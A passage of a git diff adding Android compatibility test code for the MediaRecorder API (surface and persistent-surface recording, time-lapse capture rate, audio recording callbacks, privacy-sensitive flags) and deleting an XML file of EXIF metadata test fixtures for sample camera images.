+                fail("timed out waiting for MEDIA_RECORDER_INFO_NEXT_OUTPUT_FILE_STARTED");
+            }
+            fileCount++;
+            mMaxFileSizeApproachingCond.close();
+            mNextOutputFileStartedCond.close();
+        }
+
+        mExpectMaxFileCond = true;
+        if (!mMaxFileSizeCond.block(MAX_FILE_SIZE_TIMEOUT_MS)) {
+            fail("timed out waiting for MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED");
+        }
+        mMediaRecorder.stop();
+
+        for (String filePath : recordFileList) {
+            checkOutputFileSize(filePath, fileSize, tolerance);
+        }
+    }
+
+    private void checkOutputFileSize(final String fileName, long fileSize, long tolerance) {
+        File file = new File(fileName);
+        assertTrue(file.exists());
+        assertEquals(fileSize, file.length(), tolerance);
+        assertTrue(file.delete());
+    }
+
+    public void testOnErrorListener() throws Exception {
+        if (!hasMicrophone() || !hasAac()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+
+        recordMedia(MAX_FILE_SIZE, mOutFile);
+        // TODO: how can we trigger a recording error?
+        assertFalse(mOnErrorCalled);
+    }
+
+    private void setupRecorder(String filename, boolean useSurface, boolean hasAudio)
+            throws Exception {
+        int codec = MediaRecorder.VideoEncoder.H264;
+        int frameRate = getMaxFrameRateForCodec(codec);
+        if (mMediaRecorder == null) {
+            mMediaRecorder = new MediaRecorder();
+        }
+
+        if (!useSurface) {
+            mCamera = Camera.open(0);
+            Camera.Parameters params = mCamera.getParameters();
+            frameRate = params.getPreviewFrameRate();
+            setSupportedResolution(mCamera);
+            mCamera.unlock();
+            mMediaRecorder.setCamera(mCamera);
+            mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        }
+
+        mMediaRecorder.setVideoSource(useSurface ?
+                MediaRecorder.VideoSource.SURFACE : MediaRecorder.VideoSource.CAMERA);
+
+        if (hasAudio) {
+            mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        }
+
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mMediaRecorder.setOutputFile(filename);
+
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+        mMediaRecorder.setVideoFrameRate(frameRate);
+        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
+
+        if (hasAudio) {
+            mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+        }
+    }
+
+    private Surface tryGetSurface(boolean shouldThrow) throws Exception {
+        Surface surface = null;
+        try {
+            surface = mMediaRecorder.getSurface();
+            assertFalse("failed to throw IllegalStateException", shouldThrow);
+        } catch (IllegalStateException e) {
+            assertTrue("threw unexpected exception: " + e, shouldThrow);
+        }
+        return surface;
+    }
+
+    private boolean validateGetSurface(boolean useSurface) {
+        Log.v(TAG,"validateGetSurface, useSurface=" + useSurface);
+        if (!useSurface && !hasCamera()) {
+            // pass if testing camera source but no hardware
+            return true;
+        }
+        Surface surface = null;
+        boolean success = true;
+        try {
+            setupRecorder(OUTPUT_PATH, useSurface, false /* hasAudio */);
+
+            /* Test: getSurface() before prepare()
+             * should throw IllegalStateException
+             */
+            surface = tryGetSurface(true /* shouldThow */);
+
+            mMediaRecorder.prepare();
+
+            /* Test: getSurface() after prepare()
+             * should succeed for surface source
+             * should fail for camera source
+             */
+            surface = tryGetSurface(!useSurface);
+
+            mMediaRecorder.start();
+
+            /* Test: getSurface() after start()
+             * should succeed for surface source
+             * should fail for camera source
+             */
+            surface = tryGetSurface(!useSurface);
+
+            try {
+                mMediaRecorder.stop();
+            } catch (Exception e) {
+                // stop() could fail if the recording is empty, as we didn't render anything.
+                // ignore any failure in stop, we just want it stopped.
+            }
+
+            /* Test: getSurface() after stop()
+             * should throw IllegalStateException
+             */
+            surface = tryGetSurface(true /* shouldThow */);
+        } catch (Exception e) {
+            Log.d(TAG, e.toString());
+            success = false;
+        } finally {
+            // reset to clear states, as stop() might have failed
+            mMediaRecorder.reset();
+
+            if (mCamera != null) {
+                mCamera.release();
+                mCamera = null;
+            }
+            if (surface != null) {
+                surface.release();
+                surface = null;
+            }
+        }
+
+        return success;
+    }
+
+    private void trySetInputSurface(Surface surface) throws Exception {
+        boolean testBadArgument = (surface == null);
+        try {
+            mMediaRecorder.setInputSurface(testBadArgument ? new Surface() : surface);
+            fail("failed to throw exception");
+        } catch (IllegalArgumentException e) {
+            // OK only if testing bad arg
+            assertTrue("threw unexpected exception: " + e, testBadArgument);
+        } catch (IllegalStateException e) {
+            // OK only if testing error case other than bad arg
+            assertFalse("threw unexpected exception: " + e, testBadArgument);
+        }
+    }
+
+    private boolean validatePersistentSurface(boolean errorCase) {
+        Log.v(TAG, "validatePersistentSurface, errorCase=" + errorCase);
+
+        Surface surface = MediaCodec.createPersistentInputSurface();
+        if (surface == null) {
+            return false;
+        }
+        Surface placeholder = null;
+
+        boolean success = true;
+        try {
+            setupRecorder(OUTPUT_PATH, true /* useSurface */, false /* hasAudio */);
+
+            if (errorCase) {
+                /*
+                 * Test: should throw if called with non-persistent surface
+                 */
+                trySetInputSurface(null);
+            } else {
+                /*
+                 * Test: should succeed if called with a persistent surface before prepare()
+                 */
+                mMediaRecorder.setInputSurface(surface);
+            }
+
+            /*
+             * Test: getSurface() should fail before prepare
+             */
+            placeholder = tryGetSurface(true /* shouldThow */);
+
+            mMediaRecorder.prepare();
+
+            /*
+             * Test: setInputSurface() should fail after prepare
+             */
+            trySetInputSurface(surface);
+
+            /*
+             * Test: getSurface() should fail if setInputSurface() succeeded
+             */
+            placeholder = tryGetSurface(!errorCase /* shouldThow */);
+
+            mMediaRecorder.start();
+
+            /*
+             * Test: setInputSurface() should fail after start
+             */
+            trySetInputSurface(surface);
+
+            /*
+             * Test: getSurface() should fail if setInputSurface() succeeded
+             */
+            placeholder = tryGetSurface(!errorCase /* shouldThow */);
+
+            try {
+                mMediaRecorder.stop();
+            } catch (Exception e) {
+                // stop() could fail if the recording is empty, as we didn't render anything.
+                // ignore any failure in stop, we just want it stopped.
+            }
+
+            /*
+             * Test: getSurface() should fail after stop
+             */
+            placeholder = tryGetSurface(true /* shouldThow */);
+        } catch (Exception e) {
+            Log.d(TAG, e.toString());
+            success = false;
+        } finally {
+            // reset to clear states, as stop() might have failed
+            mMediaRecorder.reset();
+
+            if (mCamera != null) {
+                mCamera.release();
+                mCamera = null;
+            }
+            if (surface != null) {
+                surface.release();
+                surface = null;
+            }
+            if (placeholder != null) {
+                placeholder.release();
+                placeholder = null;
+            }
+        }
+
+        return success;
+    }
+
+    public void testGetSurfaceApi() {
+        if (!hasH264()) {
+            MediaUtils.skipTest("no codecs");
+            return;
+        }
+
+        if (hasCamera()) {
+            // validate getSurface() with CAMERA source
+            assertTrue(validateGetSurface(false /* useSurface */));
+        }
+
+        // validate getSurface() with SURFACE source
+        assertTrue(validateGetSurface(true /* useSurface */));
+    }
+
+    public void testPersistentSurfaceApi() {
+        if (!hasH264()) {
+            MediaUtils.skipTest("no codecs");
+            return;
+        }
+
+        // test valid use case
+        assertTrue(validatePersistentSurface(false /* errorCase */));
+
+        // test invalid use case
+        assertTrue(validatePersistentSurface(true /* errorCase */));
+    }
+
+    private static int getMaxFrameRateForCodec(int codec) {
+        for (VideoEncoderCap cap : mVideoEncoders) {
+            if (cap.mCodec == codec) {
+                return cap.mMaxFrameRate < NORMAL_FPS ? cap.mMaxFrameRate : NORMAL_FPS;
+            }
+        }
+        fail("didn't find max FPS for codec");
+        return -1;
+    }
+
+    private boolean recordFromSurface(
+            String filename,
+            int captureRate,
+            boolean hasAudio,
+            Surface persistentSurface) {
+        Log.v(TAG, "recordFromSurface");
+        Surface surface = null;
+        try {
+            setupRecorder(filename, true /* useSurface */, hasAudio);
+
+            int sleepTimeMs;
+            if (captureRate > 0) {
+                mMediaRecorder.setCaptureRate(captureRate);
+                sleepTimeMs = 1000 / captureRate;
+            } else {
+                sleepTimeMs = 1000 / getMaxFrameRateForCodec(MediaRecorder.VideoEncoder.H264);
+            }
+
+            if (persistentSurface != null) {
+                Log.v(TAG, "using persistent surface");
+                surface = persistentSurface;
+                mMediaRecorder.setInputSurface(surface);
+            }
+
+            mMediaRecorder.prepare();
+
+            if (persistentSurface == null) {
+                surface = mMediaRecorder.getSurface();
+            }
+
+            Paint paint = new Paint();
+            paint.setTextSize(16);
+            paint.setColor(Color.RED);
+            int i;
+
+            /* Test: draw 10 frames at 30fps before start
+             * these should be dropped and not causing malformed stream.
+             */
+            for(i = 0; i < 10; i++) {
+                Canvas canvas = surface.lockCanvas(null);
+                int background = (i * 255 / 99);
+                canvas.drawARGB(255, background, background, background);
+                String text = "Frame #" + i;
+                canvas.drawText(text, 50, 50, paint);
+                surface.unlockCanvasAndPost(canvas);
+                Thread.sleep(sleepTimeMs);
+            }
+
+            Log.v(TAG, "start");
+            mMediaRecorder.start();
+
+            /* Test: draw another 90 frames at 30fps after start */
+            for(i = 10; i < 100; i++) {
+                Canvas canvas = surface.lockCanvas(null);
+                int background = (i * 255 / 99);
+                canvas.drawARGB(255, background, background, background);
+                String text = "Frame #" + i;
+                canvas.drawText(text, 50, 50, paint);
+                surface.unlockCanvasAndPost(canvas);
+                Thread.sleep(sleepTimeMs);
+            }
+
+            Log.v(TAG, "stop");
+            mMediaRecorder.stop();
+        } catch (Exception e) {
+            Log.v(TAG, "record video failed: " + e.toString());
+            return false;
+        } finally {
+            // We need to test persistent surface across multiple MediaRecorder
+            // instances, so must destroy mMediaRecorder here.
+            if (mMediaRecorder != null) {
+                mMediaRecorder.release();
+                mMediaRecorder = null;
+            }
+
+            // release surface if not using persistent surface
+            if (persistentSurface == null && surface != null) {
+                surface.release();
+                surface = null;
+            }
+        }
+        return true;
+    }
+
+    private boolean checkCaptureFps(String filename, int captureRate) {
+        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+
+        retriever.setDataSource(filename);
+
+        // verify capture rate meta key is present and correct
+        String captureFps = retriever.extractMetadata(
+                MediaMetadataRetriever.METADATA_KEY_CAPTURE_FRAMERATE);
+
+        if (captureFps == null) {
+            Log.d(TAG, "METADATA_KEY_CAPTURE_FRAMERATE is missing");
+            return false;
+        }
+
+        if (Math.abs(Float.parseFloat(captureFps) - captureRate) > 0.001) {
+            Log.d(TAG, "METADATA_KEY_CAPTURE_FRAMERATE is incorrect: "
+                    + captureFps + "vs. " + captureRate);
+            return false;
+        }
+
+        // verify other meta keys here if necessary
+        return true;
+    }
+
+    private boolean testRecordFromSurface(boolean persistent, boolean timelapse) {
+        Log.v(TAG, "testRecordFromSurface: " +
+                   "persistent=" + persistent + ", timelapse=" + timelapse);
+        boolean success = false;
+        Surface surface = null;
+        int noOfFailure = 0;
+
+        if (!hasH264()) {
+            MediaUtils.skipTest("no codecs");
+            return true;
+        }
+
+        final float frameRate = getMaxFrameRateForCodec(MediaRecorder.VideoEncoder.H264);
+
+        try {
+            if (persistent) {
+                surface = MediaCodec.createPersistentInputSurface();
+            }
+
+            for (int k = 0; k < 2; k++) {
+                String filename = (k == 0) ? OUTPUT_PATH : OUTPUT_PATH2;
+                boolean hasAudio = false;
+                int captureRate = 0;
+
+                if (timelapse) {
+                    // if timelapse/slow-mo, k chooses between low/high capture fps
+                    captureRate = (k == 0) ? TIME_LAPSE_FPS : SLOW_MOTION_FPS;
+                } else {
+                    // otherwise k chooses between no-audio and audio
+                    hasAudio = (k == 0) ? false : true;
+                }
+
+                if (hasAudio && (!hasMicrophone() || !hasAmrNb())) {
+                    // audio test waived if no audio support
+                    continue;
+                }
+
+                Log.v(TAG, "testRecordFromSurface - round " + k);
+                success = recordFromSurface(filename, captureRate, hasAudio, surface);
+                if (success) {
+                    checkTracksAndDuration(0, true /* hasVideo */, hasAudio, filename, frameRate);
+
+                    // verify capture fps meta key
+                    if (timelapse && !checkCaptureFps(filename, captureRate)) {
+                        noOfFailure++;
+                    }
+                }
+                if (!success) {
+                    noOfFailure++;
+                }
+            }
+        } catch (Exception e) {
+            Log.v(TAG, e.toString());
+            noOfFailure++;
+        } finally {
+            if (surface != null) {
+                Log.v(TAG, "releasing persistent surface");
+                surface.release();
+                surface = null;
+            }
+        }
+        return (noOfFailure == 0);
+    }
+
+    // Test recording from surface source with/without audio)
+    public void testSurfaceRecording() {
+        assertTrue(testRecordFromSurface(false /* persistent */, false /* timelapse */));
+    }
+
+    // Test recording from persistent surface source with/without audio
+    public void testPersistentSurfaceRecording() {
+        assertTrue(testRecordFromSurface(true /* persistent */, false /* timelapse */));
+    }
+
+    // Test timelapse recording from surface without audio
+    public void testSurfaceRecordingTimeLapse() {
+        assertTrue(testRecordFromSurface(false /* persistent */, true /* timelapse */));
+    }
+
+    // Test timelapse recording from persisent surface without audio
+    public void testPersistentSurfaceRecordingTimeLapse() {
+        assertTrue(testRecordFromSurface(true /* persistent */, true /* timelapse */));
+    }
+
+    private void recordMedia(long maxFileSize, File outFile) throws Exception {
+        mMediaRecorder.setMaxFileSize(maxFileSize);
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+        Thread.sleep(RECORD_TIME_MS);
+        mMediaRecorder.stop();
+
+        assertTrue(outFile.exists());
+
+        // The max file size is always guaranteed.
+        // We just make sure that the margin is not too big
+        assertTrue(outFile.length() < 1.1 * maxFileSize);
+        assertTrue(outFile.length() > 0);
+    }
+
+    private boolean hasCamera() {
+        return mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA);
+    }
+
+    private boolean hasMicrophone() {
+        return mActivity.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+
+    private static boolean hasAmrNb() {
+        return MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AMR_NB);
+    }
+
+    private static boolean hasAmrWb() {
+        return MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AMR_WB);
+    }
+
+    private static boolean hasAac() {
+        return MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC);
+    }
+
+    private static boolean hasH264() {
+        return MediaUtils.hasEncoder(MediaFormat.MIMETYPE_VIDEO_AVC);
+    }
+
+    public void testSetCaptureRate() throws Exception {
+        // No exception expected for 30fps
+        mMediaRecorder.setCaptureRate(30.0);
+        try {
+            mMediaRecorder.setCaptureRate(-1.0);
+            fail("Should fail setting negative fps");
+        } catch (Exception ex) {
+            // expected
+        }
+        // No exception expected for 1/24hr
+        mMediaRecorder.setCaptureRate(1.0 / 86400.0);
+        try {
+            mMediaRecorder.setCaptureRate(1.0 / 90000.0);
+            fail("Should fail setting smaller fps than one frame per day");
+        } catch (Exception ex) {
+            // expected
+        }
+        try {
+            mMediaRecorder.setCaptureRate(0);
+            fail("Should fail setting zero fps");
+        } catch (Exception ex) {
+            // expected
+        }
+    }
+
+    public void testAudioRecordInfoCallback() throws Exception {
+        if (!hasMicrophone() || !hasAac()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        MyAudioRecordingCallback callback = new MyAudioRecordingCallback(
+                        0 /*unused*/, MediaRecorder.AudioSource.DEFAULT);
+        mMediaRecorder.registerAudioRecordingCallback(mExec, callback);
+        configureDefaultMediaRecorder();
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+        callback.await(TEST_TIMING_TOLERANCE_MS);
+        assertTrue(callback.mCalled);
+        assertTrue(callback.mConfigs.size() <= 1);
+        if (callback.mConfigs.size() == 1) {
+            checkRecordingConfig(callback.mConfigs.get(0));
+        }
+        Thread.sleep(RECORD_TIME_MS);
+        mMediaRecorder.stop();
+        mMediaRecorder.unregisterAudioRecordingCallback(callback);
+    }
+
+    public void testGetActiveRecordingConfiguration() throws Exception {
+        if (!hasMicrophone() || !hasAac()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        configureDefaultMediaRecorder();
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+        Thread.sleep(1000);
+        AudioRecordingConfiguration config = mMediaRecorder.getActiveRecordingConfiguration();
+        checkRecordingConfig(config);
+        mMediaRecorder.stop();
+    }
+
+    private Executor mExec = new Executor() {
+        @Override
+        public void execute(Runnable command) {
+            command.run();
+        }
+    };
+
+    private static void checkRecordingConfig(AudioRecordingConfiguration config) {
+        assertNotNull(config);
+        AudioFormat format = config.getClientFormat();
+        assertEquals(AUDIO_NUM_CHANNELS, format.getChannelCount());
+        assertEquals(AUDIO_SAMPLE_RATE_HZ, format.getSampleRate());
+        assertEquals(MediaRecorder.AudioSource.MIC, config.getAudioSource());
+        assertNotNull(config.getAudioDevice());
+        assertNotNull(config.getClientEffects());
+        assertNotNull(config.getEffects());
+        // no requirement here, just testing the API
+        config.isClientSilenced();
+    }
+
+    /*
+     * Microphone Direction API tests
+     */
+    public void testSetPreferredMicrophoneDirection() {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        try {
+            boolean succecss =
+                    mMediaRecorder.setPreferredMicrophoneDirection(
+                            MicrophoneDirection.MIC_DIRECTION_TOWARDS_USER);
+
+            // Can't actually test this as HAL may not have implemented it
+            // Just verify that it doesn't crash or throw an exception
+            // assertTrue(succecss);
+        }  catch (Exception ex) {
+            Log.e(TAG, "testSetPreferredMicrophoneDirection() exception:" + ex);
+            assertTrue(false);
+        }
+        return;
+    }
+
+    public void testSetPreferredMicrophoneFieldDimension() {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        try {
+            boolean succecss = mMediaRecorder.setPreferredMicrophoneFieldDimension(1.0f);
+
+            // Can't actually test this as HAL may not have implemented it
+            // Just verify that it doesn't crash or throw an exception
+            // assertTrue(succecss);
+        }  catch (Exception ex) {
+            Log.e(TAG, "testSetPreferredMicrophoneFieldDimension() exception:" + ex);
+            assertTrue(false);
+        }
+        return;
+    }
+
+    public void testPrivacySensitive() throws Exception {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        if (!hasMicrophone() || !hasAac()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        for (final boolean privacyOn : new boolean[] { false, true} ) {
+            mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+            mMediaRecorder.setPrivacySensitive(privacyOn);
+            assertEquals(privacyOn, mMediaRecorder.isPrivacySensitive());
+            mMediaRecorder.reset();
+        }
+    }
+
+    public void testPrivacySensitiveDefaults() throws Exception {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        if (!hasMicrophone() || !hasAac()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        assertFalse(mMediaRecorder.isPrivacySensitive());
+        mMediaRecorder.reset();
+
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.VOICE_COMMUNICATION);
+        assertTrue(mMediaRecorder.isPrivacySensitive());
+    }
+
+    public void testSetGetLogSessionId() {
+        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+        MediaRecorder recorder = new MediaRecorder();
+        assertEquals(recorder.getLogSessionId(), LogSessionId.LOG_SESSION_ID_NONE);
+
+        final MediaMetricsManager mediaMetricsManager =
+                InstrumentationRegistry.getTargetContext()
+                        .getSystemService(MediaMetricsManager.class);
+        final RecordingSession recordingSession = mediaMetricsManager.createRecordingSession();
+        recorder.setLogSessionId(recordingSession.getSessionId());
+        assertEquals(recordingSession.getSessionId(), recorder.getLogSessionId());
+
+        recorder.release();
+    }
+
+    private static class MyAudioRecordingCallback extends AudioManager.AudioRecordingCallback {
+        public boolean mCalled;
+        public List<AudioRecordingConfiguration> mConfigs;
+        private final int mTestSource;
+        private final int mTestSession;
+        private CountDownLatch mCountDownLatch;
+
+        void reset() {
+            mCountDownLatch = new CountDownLatch(1);
+            mCalled = false;
+            mConfigs = new ArrayList<AudioRecordingConfiguration>();
+        }
+
+        MyAudioRecordingCallback(int session, int source) {
+            mTestSource = source;
+            mTestSession = session;
+            reset();
+        }
+
+        @Override
+        public void onRecordingConfigChanged(List<AudioRecordingConfiguration> configs) {
+            mCalled = true;
+            mConfigs = configs;
+            mCountDownLatch.countDown();
+        }
+
+        void await(long timeoutMs) {
+            try {
+                mCountDownLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+            }
+        }
+    }
+
+}
diff --git a/tests/tests/media/res/values/exifinterface.xml b/tests/tests/media/res/values/exifinterface.xml
deleted file mode 100644
index d19d128..0000000
--- a/tests/tests/media/res/values/exifinterface.xml
+++ /dev/null
@@ -1,810 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<resources>
-    <array name="jpeg_with_exif_byte_order_ii">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>3500</item>
-        <item>6265</item>
-        <item>512</item>
-        <item>288</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>false</item>
-        <item />
-        <item />
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>160</item>
-        <item>8</item>
-        <item>SAMSUNG</item>
-        <item>SM-N900S</item>
-        <item>2.200</item>
-        <item>2016:01:29 18:32:27</item>
-        <item>0.033</item>
-        <item>0</item>
-        <item>413/100</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item>480</item>
-        <item>640</item>
-        <item>50</item>
-        <item>6</item>
-        <item>0</item>
-        <item>false</item>
-        <item />
-        <item />
-    </array>
-    <array name="standalone_data_with_exif_byte_order_ii">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>3494</item>
-        <item>6265</item>
-        <item>512</item>
-        <item>288</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>false</item>
-        <item>0</item>
-        <item>0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>154</item>
-        <item>8</item>
-        <item>SAMSUNG</item>
-        <item>SM-N900S</item>
-        <item>2.200</item>
-        <item>2016:01:29 18:32:27</item>
-        <item>0.033</item>
-        <item>0</item>
-        <item>413/100</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item>480</item>
-        <item>640</item>
-        <item>50</item>
-        <item>6</item>
-        <item>0</item>
-        <item>false</item>
-        <item>0</item>
-        <item>0</item>
-    </array>
-    <array name="jpeg_with_exif_byte_order_mm">
-        <!--Whether thumbnail exists-->
-        <item>false</item>
-        <item />
-        <item />
-        <item>0</item>
-        <item>0</item>
-        <item>false</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>true</item>
-        <item>584</item>
-        <item>24</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>414</item>
-        <item>4</item>
-        <item>LGE</item>
-        <item>Nexus 5</item>
-        <item>2.400</item>
-        <item>2016:01:29 15:44:58</item>
-        <item>0.017</item>
-        <item>0</item>
-        <item>3970/1000</item>
-        <item>0/1000</item>
-        <item>0</item>
-        <item>1970:01:01</item>
-        <item>0/1,0/1,0/10000</item>
-        <item>N</item>
-        <item>0/1,0/1,0/10000</item>
-        <item>E</item>
-        <item>GPS</item>
-        <item>00:00:00</item>
-        <item>176</item>
-        <item>144</item>
-        <item>146</item>
-        <item>0</item>
-        <item>0</item>
-        <item>false</item>
-        <item />
-        <item />
-    </array>
-    <array name="standalone_data_with_exif_byte_order_mm">
-        <!--Whether thumbnail exists-->
-        <item>false</item>
-        <item>0</item>
-        <item>0</item>
-        <item>0</item>
-        <item>0</item>
-        <item>false</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>true</item>
-        <item>578</item>
-        <item>24</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>408</item>
-        <item>4</item>
-        <item>LGE</item>
-        <item>Nexus 5</item>
-        <item>2.400</item>
-        <item>2016:01:29 15:44:58</item>
-        <item>0.017</item>
-        <item>0</item>
-        <item>3970/1000</item>
-        <item>0/1000</item>
-        <item>0</item>
-        <item>1970:01:01</item>
-        <item>0/1,0/1,0/10000</item>
-        <item>N</item>
-        <item>0/1,0/1,0/10000</item>
-        <item>E</item>
-        <item>GPS</item>
-        <item>00:00:00</item>
-        <item>0</item>
-        <item>0</item>
-        <item>146</item>
-        <item>0</item>
-        <item>0</item>
-        <item>false</item>
-        <item>0</item>
-        <item>0</item>
-    </array>
-    <array name="dng_with_exif_with_xmp">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>12570</item>
-        <item>15179</item>
-        <item>256</item>
-        <item>144</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>true</item>
-        <item>12486</item>
-        <item>24</item>
-        <item>53.834507</item>
-        <item>10.69585</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>102</item>
-        <item>4</item>
-        <item>LGE</item>
-        <item>LG-H815</item>
-        <item>1.800</item>
-        <item>2015:11:12 16:46:18</item>
-        <item>0.0040</item>
-        <item>0.0</item>
-        <item>442/100</item>
-        <item />
-        <item />
-        <item>1970:01:17</item>
-        <item>53/1,50/1,423/100</item>
-        <item>N</item>
-        <item>10/1,41/1,4506/100</item>
-        <item>E</item>
-        <item />
-        <item>18:08:10</item>
-        <item>337</item>
-        <item>600</item>
-        <item>800</item>
-        <item>1</item>
-        <item>0</item>
-        <item>true</item>
-        <item>826</item>
-        <item>10067</item>
-    </array>
-    <array name="jpeg_with_exif_with_xmp">
-        <!--Whether thumbnail exists-->
-        <item>false</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <!--Whether GPS LatLong information exists-->
-        <item>true</item>
-        <item>1692</item>
-        <item>24</item>
-        <item>53.834507</item>
-        <item>10.69585</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>84</item>
-        <item>4</item>
-        <item>LGE</item>
-        <item>LG-H815</item>
-        <item>1.800</item>
-        <item>2015:11:12 16:46:18</item>
-        <item>0.0040</item>
-        <item>0.0</item>
-        <item>442/100</item>
-        <item />
-        <item />
-        <item>1970:01:17</item>
-        <item>53/1,50/1,423/100</item>
-        <item>N</item>
-        <item>10/1,41/1,4506/100</item>
-        <item>E</item>
-        <item />
-        <item>18:08:10</item>
-        <item>337</item>
-        <item>600</item>
-        <item>800</item>
-        <item>1</item>
-        <item>0</item>
-        <item>true</item>
-        <item>1809</item>
-        <item>13197</item>
-    </array>
-    <array name="volantis_jpg">
-        <!--Whether thumbnail exists-->
-        <item>false</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <!--Whether GPS LatLong information exists-->
-        <item>true</item>
-        <item>3155</item>
-        <item>24</item>
-        <item>37.423</item>
-        <item>-122.162</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>210</item>
-        <item>4</item>
-        <item>htc</item>
-        <item>Nexus 9</item>
-        <item>1.2904</item>
-        <item>2016:03:09 17:36:42</item>
-        <item>0.0083</item>
-        <item>64</item>
-        <item>3097/1000</item>
-        <item />
-        <item />
-        <item>2016:03:09</item>
-        <item>37/1,25/1,2291/100</item>
-        <item>N</item>
-        <item>122/1,9/1,4330/100</item>
-        <item>W</item>
-        <item />
-        <item>08:35:34</item>
-        <item>720</item>
-        <item>1280</item>
-        <item>175</item>
-        <item>1</item>
-        <item>0</item>
-        <item>false</item>
-        <item />
-        <item />
-    </array>
-    <array name="sony_rx_100_arw">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>32176</item>
-        <item>7423</item>
-        <item>160</item>
-        <item>120</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>false</item>
-        <item />
-        <item />
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>32104</item>
-        <item>5</item>
-        <item>SONY</item>
-        <item>DSC-RX100M3</item>
-        <item>2.0000</item>
-        <item>2015:01:15 16:49:05</item>
-        <item>0.0050</item>
-        <item>16.0</item>
-        <item>880/100</item>
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item />
-        <item>3648</item>
-        <item>5472</item>
-        <item>125</item>
-        <item>8</item>
-        <item>0</item>
-        <item>false</item>
-        <item />
-        <item />
-    </array>
-    <array name="canon_g7x_cr2">
-        <!--Whether thumbnail exists-->
-        <item>true</item>
-        <item>22528</item>
-        <item>14161</item>
-        <item>160</item>
-        <item>120</item>
-        <item>true</item>
-        <!--Whether GPS LatLong information exists-->
-        <item>false</item>
-        <item />
-        <item />
-        <item>0.0</item>
-        <item>0.0</item>
-        <item>0.0</item>
-        <!--Whether Make information exists-->
-        <item>true</item>
-        <item>288</item>
-        <item>6</item>
-        <item>Canon</item>
-        <item>Canon PowerShot G7 X</item>
-        <item>8.0000</item>
